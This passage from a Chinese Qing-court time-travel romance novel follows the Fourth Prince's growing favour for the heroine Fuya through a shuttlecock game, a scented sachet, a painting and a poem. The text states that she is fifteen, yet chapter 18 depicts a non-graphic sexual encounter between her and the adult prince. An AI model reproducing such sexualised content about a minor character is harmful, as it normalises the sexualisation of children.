康熙朝太子看了眼,太子便打开手中的折子,一字一句将上面的内容读了出来,声音清晰,语速流畅,几个阿哥们都听得清清楚。 等太子念完了,康熙便道:“说说吧,要是你们去处理这事,会如何做?” 这折子里讲得是个贪腐的事,前不久有个外省的知府事发,被查出贪了上百万两银子,如今正在坐着牢车进京的路上。案情虽然已经办完了,但不影响康熙拿来考自己的儿子们,看看他们的做事风格。 皇子们便都在康熙给的思考时间内垂眸思索,然后按照年龄依次答了话。 太子在一旁听着,神情变化不大,一直是淡淡的,底下的大阿哥则时而微笑,时而挑眉。 康熙听完几个儿子的回答,也没说好还是不好,只是略微思索后,对他们道:“话说出来了,听着倒是有些道理,只是终归有些纸上谈兵,还是接触的政务少了些。” 他扭头对太子道:“日后你批改折子的时候,也带着你这几个弟弟,让他们给你打打下手,多学学,也算是替你分担点重担。” 如今太子虽然还是一直住在皇宫内,但康熙都会将一些重要的折子交给他批改,改完了他就会给太子讲解自己的想法,称得上是手把手地教太子如何做一个皇帝。 当然了,最后这折子都是按照康熙的意思来处理的。 在康熙看来,太子还过于年轻了,经验不多,但是带几个弟弟还是没问题的。 “那儿臣就不客气了。”太子脸上露出些许笑意来,从善如流地应下了康熙的话,他转而对底下几个弟弟道,“往后哥哥要是说了重话,支使你们多了点,你们可别记在心里。” 四爷他们也欣喜若狂,听到太子这么说,连忙按下激动的心情,纷纷表示不会在意这等小事,就算被训斥了那也是太子的良苦用心。 大阿哥在一旁看着,就觉得汗阿玛依旧还是那么偏心太子,还亲自出手给太子将这些兄弟拉扯到太子阵营里,于是之前皇上让他去兵部的事情带来的开心感似乎也淡了些。 “行了,你们都跟着太子离开吧。老大也去兵部报个道。”康熙挥挥手,让几个儿子都离开,自己坐在椅子上看着儿子们的背影消失在门口。 他心里想着方才几个儿子的答案,此刻在心中慢慢点评着。 老三喜好文学,说的话立意倒是高,就是人也学得有些脱离实际了。 老四性格严谨、板正,缺了那么些圆滑,但是个办实事的料,若是经手一些需要冷厉手段的,只怕办得也不会差。 老五……唉,他都不忍说,小时候那几年的确耽误了他,还有老七也是,性子谨慎,也不怎么爱透露全部想法,终归是出生时的事让他变成了这样。 倒是老八,虽然年纪还小,说话间却已不失圆滑,等日后成长起来了,大概是个做事周全的。 此时康熙正是精力充沛的壮年时期,还不会觉得这些儿子都是自己的威胁,反而对他们的成长尤为期盼,如今也只觉得他们再多历练历练,都能成为太子的好帮手。 想完这些,康熙便将精力放到了政事上,让梁九功宣大臣们来觐见。 至于四爷他们,今天大半的时间都跟着太子熟悉折子了,等出了皇宫,四爷走路大步流星的,直到见到自己府邸的大门,那情绪才渐渐缓了下来。 他没在前院停留,而是直接往后院去。 苏培盛紧跟在四爷身后,就看着四爷全程停都没停一下,那走的方向分明是映月阁! 17、第十七章 四爷一路步伐没停,刚走到映月阁门口,就听到了里面传出来的笑闹声。 他莫名不想打断这动静,便又阻了门口的下人通报,迈步顺着声音的方向走去,远远地便瞧见了一群人在周围或站或坐,却都替中间的身影鼓着掌。 中间那个窈窕的身影身姿灵活地踢着毽子,时不时便做出挑战性的动作,然后稳稳地接住落下的毽子,周围的下人们鼓掌的声音就更大了。 “七百八,七百九……格格,加油呀!” “这都连着跳了一刻钟了吧,都还没掉地上呢,格格可真厉害!” “……” 下人们的声音传进四爷耳中,他站定在拐角的位置,就这么看着。 苏培盛差点就没撞上突然停下来的四爷后背,他急忙跟着停住,缓了缓直跳的心脏,也跟着往那方向瞅了瞅,十分不解。 就光这么瞧着? 明明眼前是如此热闹活跃的场景,但四爷站在原地这么看着,却觉得之前那种仿佛要吹得人轻飘飘的情绪渐渐被一种踏实感替代,就好像…… 从天上下到了地,踩在了实实在在的土地上。 其实也不过是和富察氏待了半天和一个晚上,可四爷却觉得她的一言一行都很是有感染力。 就像是此刻她这般活泼轻快的样子,四爷被这股活力感染,心情从激动变为了不那么浮躁的愉悦。 他竟就这么一直看到傅雅踢的毽子落地。 “好了好了,我得歇息会了。” 傅雅弯腰拾起毽子,调整着自己的呼吸,她面上带着笑,扭头才和巧琴说完这句话呢,眼角余光就瞥到了个人影,心下就是一惊。 其实她这一瞥并没有看清是谁,但或许是这情况也不是第一次发生了,加上能悄无声息过来的也没几个,她想也不想地就喊出了心中的答案,“给四爷请安。” 那身影也走了过来,果不其然就是四爷。 院子里的其他下人便也纷纷跪地请安。 四爷走到傅雅面前,叫了她起身,看向她手里还拿着的毽子,“这毽子倒是做得不错。” “我也这么觉得呢,”傅雅闻言,脸上也露出得意的笑来,微仰着头看向四爷,对他道,“一看到这么好看的毽子,踢起来的劲头也更足些。” 四爷就看她面庞,倒是跳得面色红润,只是额头微微渗着汗,发丝也有些凌乱,反而透露出一股有生气的野生美感,看得四爷心中一动,忍不住就抬手撩起她脸颊旁黏着的发丝,给慢慢拨弄到她耳后。 “看出来了,”他说,“这样的天气,你都踢得满头汗。”像个小孩子似的。 不过也的确是个小格格,如今不过才十五么。 傅雅没想到四爷会突然做出这种显得有些亲密的举动,虽然他面上看着神情淡淡,但她能感觉到他拂过自己发丝时的动作很轻,透出些许温柔,再看四爷这清俊矜贵的模样—— 只能说若她内里不是个现代人,怕是也要沉醉于四爷的举动之中,将一颗心交了出去。 傅雅心想,古代如此多的怨女约莫便都是这么来的吧。 被这世道还有男人锁在笼子里,教着以夫为天,偏偏在她们交出这颗心时,又不得不被男人逼迫着看清,再如何珍贵的心,当一个男人不缺这些时,于他眼中也变得廉价起来。 现代无论离婚多么艰难,好歹还有这么条路,再不济还能往大城市、往国外跑,这个时代则不然。 若是有孩子还好些,总归能抚慰自己些许空虚,否则便只剩下自己独守空闺,郁郁寡欢。 尽管想着这些,傅雅脸上却没露出来,还笑眯眯地偏过头来,拿脸颊蹭了蹭四爷的手,“四爷都这么说了,那能等等我去里屋擦个身子么,免得这身上的汗味熏到四爷了呢。” 四爷看她蹭自己掌心的动作,就觉得像个小动物。 他嘴上却没松口,还吓唬她,“倒是让爷等起你来了。” 他淡淡道:“也不怕爷就这么直接离开?” 傅雅自是看得出来他是故意的,不过是男女间的情趣嘛。 她也从善如流地做出撒娇的模样来,“爷就行行好么,我不想就这幅模样和爷待在一块,那不是不好看么……” 她说着,还伸出手来一把抱住了四爷的腰。 嗯,昨天在床上就看出来了,四爷的腰看着瘦削,摸起来还挺有肌肉的。 男人也该多锻炼锻炼保持身材么。 这一刻傅雅很是感谢康熙爷对儿子的卷法。 “四爷,您就同意嘛,先坐着喝杯茶,我很快就好了呀……” 四爷不知道是不是自己的错觉,总觉得这小格格搂着他的腰的手不太安分,但仔细去感受,却又察觉不到什么,分明小格格的手只是搭在他腰上而已。 可四爷只觉得自腰间往上半边身子都酥了。 加上小格格这番毫不避讳地在外面做出如此亲密的举动,终归是让四爷这个自认为性格正经的人吃不住了,大庭广众的呢,又不是在房里。 “行了,爷答应了,”他清清嗓子,拉开了傅雅的手,“要去便去。” 傅雅又朝他笑了笑,拉住他的手晃晃,才转身往屋里走。 巧琴跟在她后面进去给格格帮忙,傅雅抬手时随意一瞥,就看到她脸蛋也红通通的,忍不住就笑,“巧琴,你这脸怎么回事呢?” 巧琴扭干帕子递给傅雅,声音吞吞吐吐的,带着羞涩,“格格您……那不是……奴婢都看呆了么……” 此时的巧琴无比自信格格未来能一直受宠一事,连她这个女人在旁边看着都受不住格格的撒娇呢,主子爷一个男人怎么顶得住。 傅雅听她说得遮遮掩掩的,实在忍不住,噗嗤噗嗤地笑得身体乱颤。 巧琴还是接触得少了,这古代么,那些避火图也不少,玩得花样也多,只不过这主流的思想是更奉行闷骚罢了。 擦好身体了,傅雅想了想,没急着出去,而是轻声又吩咐了巧琴几句,巧琴点点头,绕出去拿了东西又进来。 四爷此时正在外间坐着,干等着无聊,他端着茶一边喝,一边看周围的布置,眼尖地将这房里多出来的东西都看了出来,知道是自己今早赏赐的,便很是满意地点点头。 这房间看着终于是没那么素了。 他又往里间看,看到了那个摆放着的屏风,漫不经心地想着当时小格格会是什么表情。 至于巧琴进出的身影,根本没引起四爷的注意,眼神都没给一个。 过了会,四爷手旁的茶才喝了一半呢,傅雅便换了身月牙白的衣服出来。 她走到四爷面前悠悠地转了半个圈,等站定后,言笑晏晏地喊他,“四爷。” 本来傅雅出来时就让四爷注意力跟着过去,此时傅雅笑得如此灿烂,这番动作又明摆着是意有所指,四爷脑海中念头不过转了转,视线便落到了她的头顶。 等他看清时,便也失笑,又觉得傅雅这暗示的行为有点儿可爱。 “这是我今日赏的簪子?”他问。 傅雅这才靠近了他,搂着他的脖子坐在他腿上,朝他眨眼,“我戴着好看么?” 四爷伸出一只手抱住她的腰,想着旁边有椅子她也不坐,偏偏要坐爷的腿上,真是个会撒娇的性子。 但他搂着的手却收紧了些,嗯了一声,“好看。” 淡淡的两个字,却不是敷衍,四爷是真心这么觉得的。 他细细端详傅雅模样,觉得她头顶戴着的点翠海棠簪衬得她脸更娇嫩了,心中也很满意自己想起来库房里还有这套首饰。 傅雅抬手抚了抚头顶的簪子,很是认真地道:“爷今儿给的东西,我都很喜欢呢,又好看,又珍贵,所以主子爷一过来,我就想着戴出来给爷看。” 傅雅很清楚,人给了好东西就会忍不住炫耀,再闷骚的人都会来旁敲侧击地提醒对方说说好话,享受对方的夸赞。 所以今早她见到那一大堆东西就猜出来了,只要今晚四爷进后院,大概率会来找她。 如今四爷真的来了,傅雅当然也不傻,第一时间就拼命地夸,给人家提供满满的情绪价值。 “嗯。” 四爷又应得淡淡,但实际上被捧得很满意,眉眼都放松柔和了许多。 应了这声后,四爷看她额头散落的碎发,以及依旧蓬松的头顶,突然道:“今日给的那几瓶发油,你还是不喜欢那味道?” 冷不丁的四爷提到头油,傅雅也想到了白日里自己的疑惑,如今总算是在四爷这番话里得到了解答。 她说呢,难怪四爷给她这几瓶玩意,看来是因为她昨日里说的那番话的缘故。 不愧是未来的雍正帝哈,连别人随口一句话都记得那么清楚,记忆力可真好,看来以后她说胡话的时候得脑子里过一遍才行。 “我闻了味道,都是喜欢的呢,”傅雅做出感动的模样来,“就是想到是爷特地给我找的,有些不舍得用。” “东西给你了就是拿来用的,没什么可惜不可惜。”四爷道。 他淡淡地又补充了句,“要是日后用完了,再找前院的人去拿,不必省着。” 傅雅靠在他的肩膀上,嗯了一声。 “四爷……” 她声音语调柔情似水,垂下的眼眸里,眼神却很是清明冷静。 “您对我真好。” 18、第十八章 怀里的人靠得这么近,四爷鼻尖嗅了嗅,又闻到了傅雅身上那股淡雅的香气,这回便直接问了出来,“你身上擦的什么香?” “就是格格份例里有的香料呀。” 四爷凑近了又闻了闻,鼻息喷吐到傅雅脖子,让她有些痒的缩了缩,“四爷?” “闻着不像。”四爷做了结论,若说是格格份例里有的,之前他宠幸汪格格时,却没从她身上闻到这股香气。 不过四爷下意识地没把这话说出来,而是索性自己将傅雅整个瞧了瞧,视线落在了她腰间挂着的香囊上,伸手要去取下时,却被一双纤手阻止了。 他微微眯眸,看向傅雅,就见她面上竟有些羞涩。 “四爷,您要是看了,可不能取笑我。” 四爷好奇心被她这话勾起来了,“藏着什么呢,还怕被爷取笑?” 傅雅抓着他的手不放,“您答应我嘛……” 四爷很是勉强地嗯了一声,挑着眉看她,一副似乎不太高兴的模样,“这下能放开了?” 傅雅见他这幅表情也没害怕,反而笑嘻嘻地取下了自己腰间的香囊,抽开系绳,将里面的东西展开给四爷看,“这是我自己闲时琢磨的,本来还想着能多瞒会儿四爷就多瞒会,留着这个谜底,说不定能让四爷往我这里多来几回。” 她歪了歪头,一眨不眨地看着四爷。 “没想到爷这么敏锐,一下子就发现了,人家的如意算盘都打空了呢。” 怎么就这么会撒娇呢,四爷心里想,胆子也大,就算他是故意板着脸,也没见害怕,反而凑得更近了,倒是让他升起些许无奈来。 但四爷不会承认自己听着这番话还是挺高兴的。 小格格满心满眼里都想着他呢。 四爷眼神落到打开的香囊里,略一分辨,认出了里面大部分的东西,“茉莉、柑橘……”他从里面捻起些碎末,放到鼻尖轻嗅,认出了最后的材料,“龙井茶叶。” 看品相不是什么好的,但是香味还是比较明显。 四爷很给面子的没有笑,还夸她,“颇有巧思。” 虽然四爷心里觉得这些东西挺寒酸的,不过小格格么,年纪还小,又不是教书念字,调出来的香味闻着也挺好的,就没必要说得那么直白了。 傅雅听他夸自己,就眼神亮亮地看他,笑得极为灿烂。 四爷看着看着,不禁也扬了扬唇角。 耳鬓厮磨的,时间过得似乎也极快,转眼便到了吃晚膳的时候。 这回四爷记着适量,就没吃撑,不过他见傅雅依旧吃着香,自己也特意放慢了速度,等估摸着差不多了,便放下筷子,傅雅跟着放筷。 四爷就问她:“吃饱了?” “吃饱了。” 四爷又问:“要消消食么?” 傅雅点头,“那……消消食?” 四爷就面上带着笑,然后拉着她上了里间的床。 傅雅:“……” 她有点儿囧囧的,主要是没想到这位爷循循善诱的就是为了搞出这一遭。 有的时候她也挺摸不着这位爷的思路的。 这床上的事,在一方心情好,一方有意配合投入的情况下,自是要尽兴许多,也更为满足。四爷再次感叹小格格果然和他的身体高度契合,水乳交融,然后不客气地把傅雅吃了一遍又一遍。 直到最后傅雅赖在他怀里,紧紧抱着他不放手,四爷才停了下来。 他看着怀中小女人原本光洁的皮肤上留下的点点斑驳红痕,隐约还能看到昨日里留下的,觉得她大概是真的受不住了,便没再继续下去,也没计较她这不太规矩的动作。 四爷把她脸颊旁被汗打湿的青丝拂开,摸了摸她的脸,低哑的声音安抚她。 “睡吧。” 傅雅也哑着声音嗯了声,闭上眼靠在他怀里睡了。 没多久,四爷也睡了。 这回两人依旧没分开睡,盖着一张被子,四爷怀里搂着人,于是第二天又是熟悉的手臂发麻,只是这回傅雅中间没有再醒来。 苏培盛伺候着四爷时,再次为主子爷对富察格格的纵容感叹。 难不成这后院里真要出个比当初李格格受宠时的程度还要更厉害的女人了? 苏培盛就心中琢磨,也不知道福晋这回还坐不坐得住。 大概率还是不会太慌,毕竟这富察格格身子还没个动静,只是主子爷要再多来几回映月阁,只怕传出好消息的那一天也不会太远。 等到辰时,傅雅才从睡梦中起来,就是睡醒后她觉得身子还是有些酸软。 下床穿好鞋子时,她颇有点儿龇牙咧嘴的,心中对四爷那是骂了一遍又一遍,只好搭着巧琴的手缓一缓,慢慢挪到外间桌子旁坐下,巧书已经将早膳摆好了。 这回的早膳依旧有一碗牛乳茶,多了两道菜。 不过米粥换成了菌菇面,饽饽变成了鸡蛋糕。 菌菇面是带汤的,撒了葱花点缀,又滴了几滴香油调味,面上盖着的菌菇肥美多汁,吃起来是又清爽又好吃,连汤的味道都很醇厚。 至于鸡蛋糕表面则是撒了些许黑芝麻,吃起来口感偏硬,比起甜,更多的是入嘴时占据了整个味觉的浓郁的蛋香味,就算是连着吃两三个都不会觉得腻,傅雅还挺喜欢的。 现代人对甜点最大的夸赞就是不太甜! 就连分食了剩下的早餐的巧琴她们评价也很好。 此时也不过刚刚辰时过半,也就是八点多的样子,傅雅这回没用跳毽子来消食了,她怕自己跳着腿软。 五子棋暂时也不想下,一看到棋子就会想到让人牙齿痒的某个家伙。 她扶着腰想了半会,最后决定,画画! 上辈子她忙着当个社畜,虽然喜欢画画,但从毕业之后就没怎么动笔了,等穿越后,她这世的父母都疼爱她,三个哥哥也都是纵着她,反正什么所谓的女则或者绣花什么的,是从来不让她碰的。 用她娘的话就是,满洲姑奶奶放在入关前,也是会骑马、会带领部落的,就算入关了,也不必学些拘束自己的玩意。 她爹往往就是在一旁拿着书嗯一声,反正异议是没有的,全都是娘子你说得对。 哥哥们也喜欢带着她出去玩,还表示只要不惹出大事,锅全他们抗! 所以傅雅在大选前的日子都过得比她想象中的要快活,于是也捡起了自己当初喜欢的爱好,也就是画画。 正好她阿玛是个读书人,也擅长绘画,便从小教着她,傅雅自己也融合了现代的一些画法。 所以她的画风偏写实,但人物比例却会稍微美化些,就跟那种p得不太夸张的照片一样,虽然看着要比真人好看,但是一眼看过去,却又能够很容易地就认出画的是谁。 画画需要颜料,还有专门的画纸,不过有之前四爷给的一百两银子,加上傅雅如今受宠的迹象很是明显,赏银开道,这些需要的东西很快都被送了过来。 外面的书桌被搬到了院子里,旁边点着炭盆,提温的效果聊胜于无。 傅雅摊开画纸,拿镇纸压住,提笔前,轻轻舒出一口气,将脑海中的杂念挥去,才落下第一笔。 旁边巧琴她们不敢打扰,不过也不能放着格格一人待着,所以都拿着自己手头要做的一些琐事待在一旁,边做边偶尔看看格格。 巧画在给格格做寝衣,巧书巧棋就在旁边给她缠线,巧琴贴身伺候傅雅,对傅雅的三围最为了解,可以随时提醒巧画。 一时岁月静好,时间也在悄然间流逝。 等吃过午膳后,傅雅的画还没画好,但是她兴致没消,所以睡了个午觉后,就又起来继续画画。 上午她已经画了个大致的轮廓出来,如今便只剩下了慢慢填充颜色,巧琴便没再跟巧画她们坐着,而是在一旁替格格打下手。 巧琴受的教育不多,她家正好是包衣里比较穷的那种,自然也是感觉不到国画里的那种意境的,所以对她来说,格格这种偏写实的画反而能让她看得津津有味。 “格格,您这是画的昨日跳毽子的事吗?” “是啊。” 傅雅转了转手腕,将画笔递给巧琴,“你看出来了啊。” “格格画得挺好的,”巧琴边洗着笔尖上的颜料,边道,“奴婢在旁边看着,倒是觉得不像往常看那些名画一样,想要认清哪个是哪个,要好好分辨一会呢。” 傅雅就偏头对她一笑,“那你认出自己了么?” “认出来了,”巧琴点点头,对自己也被画进里面一事很是高兴,“就在这里,对么?” 她将洗干净的画笔递给傅雅,虚指了下画面中左下角的位置。 一个扎着双平髻,穿着青衣的少女面上带着笑,正鼓着掌,虽然是很典型的丫鬟打扮,可面容却带着巧琴的特点。 而且因为傅雅画的时候,给人物描绘的妆容偏向她上辈子的风格,所以巧琴只觉得这画上的自己明明是她,可又好看许多。 看得她心中暗暗记下了这种妆容风格,琢磨着自己上手练练,到时候也能在给格格上妆的时候用出来。 “奴婢还认出巧书她们呢。”巧琴又兴奋地道,引得旁边巧画几个都听得心痒难耐,却又不好放下手里的事。 傅雅也注意到了,就笑着对她们道:“不必着急,等我画完了你们再来看,到时候这画也更完整。” “什么画完整呢?” 四爷的声音从不远处传来,伴随着身后下人通报的声音,叠在一起。 19、第十九章 就见这位爷大步流星地走了过来,一手扶住傅雅的手臂,阻了她行礼的动作,也站到了书桌旁,看向上面铺开来的画纸。 四爷便看到了上面还未完成的画。 “嗯?” 他挑了挑眉,对傅雅道:“你把昨日自己踢毽子的事画出来了?” 傅雅暗自腹诽这位爷总算不是悄没声过来了,嘴里回道:“我闲来无事,又觉着昨日气氛好,就想着把它画下来了。” “这画看着倒是有些奇怪,”得到回答了,四爷又看向画,觉得不像寻常的工笔图,倒是有点儿洋人的风格,但也只有一点儿相似,“要说写实,却又不符这人的身体比例。不过倒是能让人一眼瞧出谁是谁。” 这点就算是国画中的工笔也缺了点那么些和真人的相似,主要是工笔注重形神兼备,不是单纯的模仿现实,讲究的是笔墨意趣。 他下了结论,“有些新奇。” 不过优点也仅限于此了,称不上什么大师。 傅雅假装没听出来四爷话里的潜台词,她就是画着玩而已么,只高兴道:“多谢爷的夸奖。” 四爷看她开开心心的模样,觉得小格格又是单纯,又是个容易满足的,他只夸了一句,便能这么高兴。 “你且继续画着。”他说。 苏培盛十分有脸色地早就拿了椅子过来放一旁,让四爷能够坐着看。 傅雅嗯了声,又站回到桌子后,专注地画着,眼见着一副春日毽球图就要完成了,在她又停笔打算揉手腕时,旁边一只大手握住了她的。 四爷漫不经心地给小格格捏着手腕,傅雅就挨着他靠着,心中点评这四爷的手艺实在不行,力道太轻了,捏了跟没捏一样。 冷不丁地,就听到四爷开口:“你这画……没缺了什么?” “啊?” 傅雅就很茫然地看了眼画,她毕竟不是四爷肚子里的蛔虫,能时刻猜中他的心思,下意识就道:“少了什么啊?” 四爷没说话,给傅雅揉手腕的动作停了。 傅雅就垂下目光,与这位爷对上了视线。 四爷神情淡淡的,让人完全看不出来他在想什么,眉头却微微拧着。 气氛一时凝滞起来,旁边的巧琴她们屏住呼吸,大气都不敢喘一口,想不明白怎么气氛一下子急转直下,变得这么严肃了。 苏培盛低着头,眼观鼻鼻观心,却在想不会这位富察格格才第三天就惹怒了主子爷吧? 实际上四爷没生气,他就是在想,是不是自己说得太隐晦了点。 小格格单纯,难免听不出来他话里的提示,也许他该再说得明白点。 但是四爷又不太愿意说得太直白。 他这个主子爷不要面子的么? 于是沉默几息,四爷纡尊降贵地又提醒了句:“不是说,因为气氛好才画了这幅画么?” 其实这话依旧说得很隐晦,都不知道转了多少个弯,但是刚刚还摸不着头脑的傅雅跟四爷对视着,猛然就只觉得脑海中闪过什么,这要是放在动画里大概就是她脑袋上有灯泡一亮。 因为她隐约觉得自己好像弄清楚了四爷的意思。 “这话的确是我刚刚说的,”傅雅语速放慢,整理着语言,一边开口试探,一边仔细观察四爷神情,“没想到让爷瞧出我的心思来了,我本来是想把四爷也画上去的……” 她故意把话在这里停顿一下,眼尖地注意到了四爷眉头一挑,揉她手腕的动作又轻轻动了起来。 “嗯?” 四爷从鼻腔低低哼了声,问话的口吻那叫一个云淡风轻,似乎不怎么在意,只是随口一问,“那怎么没画?” 于是傅雅心中就稳了。 得嘞,看来这位爷还真是在计较自己怎么不在画上,傅雅暗自翻白眼,心中吐槽这个人可真闷骚,明明是自己想被画上去,还非得让别人主动开口。 这就是天潢贵胄的架子么? 当然面上她是歪头一笑,透露出些许狡黠出来。 “因为四爷不在眼前啊,我觉得要看着四爷画,才能画出最好看的四爷呢。” 四爷一下子就轻轻笑出声来,揉着她手腕的手改揉为捏,像是捏小动物似的,“这话说得直白。也不担心爷今儿不来?” 傅雅眨眨眼,就道:“可是爷不是来了么。” 四爷作势起身,“爷也没答应你这事啊。”他可没说自己要坐着等傅雅画他。 傅雅就抱住他的脖子,一屁股坐到了他腿上,不让他动了,“四爷现在不起身,就是答应我了。” 四爷似笑非笑看她,“是吗?” 傅雅点点头,说得理直气壮的,“没错。” 半晌,四爷终于赏脸地点点头,“行,那你现在画吧。” 傅雅拍拍胸口,做出松口气的模样来,这才从四爷怀里起身,又拿起了笔。 她一边画,一边时不时看四爷,专心致志的,眼里都倒映着四爷的身影,四爷嘴角噙着笑,任她这么看着。 气氛于是又变得和谐起来,这过山车一样变换的气氛让巧琴她们心有余悸。 巧琴看着主子还能神情如常地给四爷画画,心中很是佩服,难怪格格能得主子爷喜爱呢。 这心理素质就不是她这些下人们能有的。 傅雅画四爷的速度不算特别快,偶尔还要停下来,故意拿着笔对着四爷比划,或者是再跟四爷说上几句话。四爷也不催她,好整以暇地坐着,脸上带着淡淡的笑。 这种似有若无的撩拨之意,很显然四爷比较享受。 等到傅雅终于画完了,她将笔一放,拉着四爷要他与自己站在一起来瞧这幅画,四爷顺着她的力道起身,低头看向这幅画。 “爷觉得如何?”傅雅笑咪咪道,“可有画出四爷的几分气质?” 画上的内容原本是一群下人围在周围,或是笑,或是鼓掌,而傅雅则是把自己画在了画纸正中央稍微偏左的位置,如今斜右方多了个四爷跨步而来的身影,身姿挺拔,面容俊逸。 傅雅还稍微把画里的自己略微调整了下。 于是让人一眼便能看出来,那跳着毽子的美人头微微上扬,似惊、似喜地与画里的男子对上了视线,明明不过是一副静态的画,画里女子对男子的脉脉情意却呼之欲出。 四爷也能感觉到这股情意,他偏头看了傅雅一眼,心中微微叹息。 小格格这一颗心都落在他身上,倒是至真至纯,至情至性,只是这性子也是最需要怜爱的,若是被冷落了只怕凋零得也快。 四爷有心敲打两句,但他如今又的确喜欢傅雅这个小格格,而且看她微仰着头眼神发亮等着他评价的样子,四爷也有些不忍说。 罢了。 他心中想,不是本来也打算给她个子嗣伴身么,大不了到时候他再和福晋叮嘱几句,就算真到了她失宠那日,也不让人欺负了她。 傅雅等了会,没等到四爷开口说话,而且觉得他看自己的眼神越来越复杂了。 “四爷?” 傅雅忍不住喊了他一声,琢磨着自己这个问题也没这么难回答吧? 然后她就见到四爷轻轻叹息,那些复杂的情绪转瞬即逝,看她的目光却变得柔和了许多,语气也很温柔,带着些许怜爱。 “画得很是不错。说吧,要什么赏?” 刚刚好像也没说画好了有赏啊,傅雅想,但她却没真的顺着四爷这话要东西。 一幅画而已,真要开口求了赏赐,求的东西轻了也没意思,求得贵重了反而显得人贪婪,不如拿这个奖赏唰唰这位爷的好感。 所以她就将笔塞进了四爷的手里,笑意盈盈地道:“那我这幅画能得爷题诗一首么?” 四爷此时正是被自己脑补得怜爱之心溢出的时候,以至于刚刚都主动提了奖赏,此时听傅雅这么说,自是答应了下来。 他沉心静气,提笔沉吟,随后一挥而就。 虽说四爷骑射在兄弟们中算不得前茅,可是他的文课却很是不错,字也如此。 笔走龙蛇、挥洒自如,年轻人的意气风发彰显无疑。 只是写完后,四爷看着自己的字,却觉得有些张扬,他心中那些藏着的锋锐之意都在这笔划中显露了出来。 还好不过是给格格写的,也不会放到外面给人看。 他刚这么想,就听旁边傅雅道:“爷的字真好看。赵德利,等明日你把这画送去,让人给仔细裱起来,我给挂墙上……” 四爷:“……” 这小格格无意间拆台来得也太快了点,他脸上的平静差点就没绷住。 20、第二十章 “让苏培盛去吧。” 四爷清清喉咙,打断了她的话。 “啊?”傅雅有些犹豫地看了眼苏培盛,“这也不是什么大事,倒也不必劳烦爷身边的人……” 本来要上前应声的赵德利动作也顿住,小心观察着两位主子的神色。 四爷瞥了眼苏培盛。 苏培盛连忙满脸笑地凑过来道:“哪敢称得上劳烦二字呢,奴才本来就是给主子爷做事的。” 傅雅点点头,行吧,有人接手裱画又不是什么不好的事情,不过她又想到个问题。 “那到时候这画……” “到时候这画便放我这里吧。”四爷手负在身后,说得云淡风轻的,“我看你这画的确有些新意,又是你画的第一幅,不如送给爷了。” 本来想问什么时候取画的傅雅咽下后半截没说完的话,有些古怪地看着四爷。 您该不会老早就打着把画拿走的心思吧? 顶着小格格探究的眼神,四爷轻咳了声,“爷不白拿你的画。” 潜台词就是会拿东西换。 “爷愿意要我的画,我自是高兴的,”傅雅故作不满,“四爷这话说的,好像我就是那眼皮子浅的人一样。” 四爷嗯了声,“那就是不要——” “不过四爷的话我当然是要听的。”傅雅飞快地打断了他的话,笑嘻嘻地靠近四爷,手一伸,就在他眼皮子底下把他腰间系着的镶金和田玉吊坠取了下来。 嫩白的指尖勾着玉坠在四爷面前晃了晃,美人歪头,柔情脉脉诉心意。 “四爷看画如见我,我见玉坠如见爷。” “……”四爷轻咳了声,觉得格格太单纯了也不好,就说她,“什么话都敢拿出来说。” 傅雅把玩着手里的玉坠,看了看其他人。 下人们撞上格格的视线自是机灵的低下头来,于是下一秒,傅雅便踮起脚尖,飞快地仰起头来亲了四爷下巴一下。 轻得就像是羽毛扫过,让四爷一时都没反应过来。 等他回过神来,就见傅雅已经几步跑到了门口,回头朝他叉腰笑,“我不仅敢说,还敢做呢!” 这行为极为大胆,且不太规矩,可她笑颜灿烂,洋洋得意的模样却实在动人,令人不忍呵斥。 不过她放完这话,就急忙慌地溜进了屋。 四爷看她一副怕被算账的样子急忙忙跑进屋内,不禁抬手碰了碰刚刚被亲的地方,好气又好笑。 这胆子真是越来越大了,再纵着下去,怕不是要对他这个主子爷蹬鼻子上眼。 四爷放下手来,大步也跟着进了屋,决定好好教训这小格格一番。 只是他面上不仅没什么生气的情绪,眼里甚至还带着笑。 被留在外面的苏培盛听着动静远去,终于是敢抬起头来。 他走到桌子旁,扫了眼上面的画,觉得主子爷有些时候说好哄也挺好哄,说不好糊弄也挺不好糊弄的。 这好哄的时候就比如现在,一个小格格画的画都能让主子爷巴巴地送到内务府给裱起来。 不好哄的时候啊,啧,那不就是面对李格格特地送来的亲手制的衣服,都不是感动,而是觉得她一个孕妇不该这么废眼睛。 苏培盛就一边想,一边慢慢卷着画,怕哪里出现褶皱。 赵德利早就特别有颜色地过来,赔笑着道:“苏哥哥,我也来帮您弄。” 苏培盛推开他的手,“哎,别,没听主子爷说了么,让我来负责这画。至于你么,”他努了努嘴,示意旁边摆放的东西,“你就收拾这些吧。” 让这些人动手,他还害怕他们粗手粗脚的呢,到时候这画要是出了点问题,就算他们会受到惩罚,他苏培盛也得不了好啊。 赵德利也不恼,笑呵呵地应了是。 本来他就是特地过来跟苏培盛打近乎的,这关系只要能稍微亲近点,那对他们格格也是有好处的啊。 这不是有句话叫阎王好过,小鬼难缠么。 至于其他下人则是去忙院里的杂事,比如打扫或是提膳,巧琴则是守在外间等着随时会有的吩咐。 里屋内,四爷坐在榻上,傅雅靠在他怀里,鬓云乱洒,眸光潋滟,眼角眉梢都带着些微的情动。 她抿了抿唇,虽然没用手摸,但也知道只怕有些红肿。 “主子爷都不怜香惜玉的么?”她嗔道。 四爷呵了声,“爷是故意的,就是让你吃个教训。” 那这吃可真是字面意思呢,傅雅暗自翻白眼。 “主子爷今日来得要比往日早上许多,”傅雅转而提起新的话题,她问道,“以后也会如此么?” 四爷把玩着她的手,将玉坠系着绳子的绳子往她手腕上绕啊绕的,“今日刚好没什么事,便回来了。” 他不必再日日去上书房刷存在感,终于是有了接触折子的机会,自然就不用等到下午的课上完了才回来,而是看太子那边的折子数量,要打下手的事情多不多。 所以这回府的时间便也不固定起来。 只是这些四爷不会说给傅雅听,所以他便只简单总结了句,“日后却是说不太准,许是更迟,也或许更早些。” 傅雅哦了声,她虽然知道历史发展,可知道得不会特别详细,也不太清楚此时的四爷有没有开始接触政事,不过她也就是随口一问,就算知道了她也没法做什么。 一个阿哥能允许自己的女人骄纵些,却不一定能接受她接触政事。 如今她在四爷心中也没有什么份量,接触这些纯属找死。 “那四爷早上还是要起得那般早么?”她又问。 四爷摇摇头,那倒是不用,太子不会这么做,反正让他们这些弟弟多睡一会又不会影响事情,而且还能摆出兄友弟恭的名声来。 “能比先前晚上那么一个时辰吧。”他道。 